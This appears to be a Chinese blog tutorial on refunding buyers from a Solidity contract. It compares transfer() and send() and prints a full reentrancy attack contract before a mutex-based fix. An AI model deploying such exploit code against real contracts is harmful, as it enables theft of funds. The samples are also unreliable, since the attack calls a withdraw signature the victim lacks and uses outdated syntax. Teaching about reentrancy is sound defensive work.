在售卖商品时,有可能因质量或者其他问题发生商品退回,同时必须给买家退款。通常,合约里记录追踪了所有的买家,可以放置在一个名叫 refund 的函数中,遍历所有的买家,从而找到需要退款的买家,最后把退款返回给到买家的地址上。退款中可以使用 buyerAddress.transfer()
或者 buyerAddress.send()
。区别在于:transfer()
在发生错误的情况下发生异常,而send()
在发生意外的情况下不抛出异常,只是返回 false。send()
的这个特性很重要,因为大部分买家是外部账户,但也有些买家可能是合约账户。如果合约账户中 Fallback 时出错,并抛出异常,遍历就会结束。交易被完全回退,这时,没有买家拿到退款。换句话说,退款程序被阻塞了。(实际上,单次调用中,transfer()更加安全,可以根据异常判断调用情况,所以尽量使用transfer() )
使用 send()
,错误的合约账户也不会阻塞其他买家的退款。但是send()
在使用时要注意重入攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pragma solidity ^0.6.12;
contract WithdrawalContract { mapping(address => uint256) buyers; function buy() public payable { require(msg.value > 0); buyers[msg.sender] = msg.value; } function withdraw() public { uint256 amount = buyers[msg.sender]; require(amount > 0); buyers[msg.sender] = 0; require(msg.sender.send(amount)); } }
|
重入攻击 的具体攻击手段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| contract Attack { address owner; address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
function setVictim(address target) ownerOnly { victim = target; }
function step1(uint256 amount) ownerOnly payable { if (this.balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } }
function step2(uint256 amount) ownerOnly { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); }
function stopAttack() ownerOnly { selfdestruct(owner); } function startAttack(uint256 amount) ownerOnly { step1(amount); step2(amount / 2); }
function () payable { if (msg.sender == victim) { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); } } }
|
所以上述代码采用互斥锁较为妥当。:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pragma solidity ^0.6.12;
contract WithdrawalContract { bool reEntrancyMutux = false; mapping(address => uint256) buyers; function buy() public payable { require(msg.value > 0); buyers[msg.sender] = msg.value; } function withdraw() public { require(!reEntrancyMutux); uint256 amount = buyers[msg.sender]; require(amount > 0); buyers[msg.sender] = 0; reEntrancyMutux = true; require(msg.sender.send(amount)); reEntrancyMutux = false; } }
|
关联文档:
- 智能合约-CURD的详细分析
- 智能合约-自毁模式
- 智能合约-工厂合约模式
- 智能合约-名字登录模式
- 智能合约-退款方式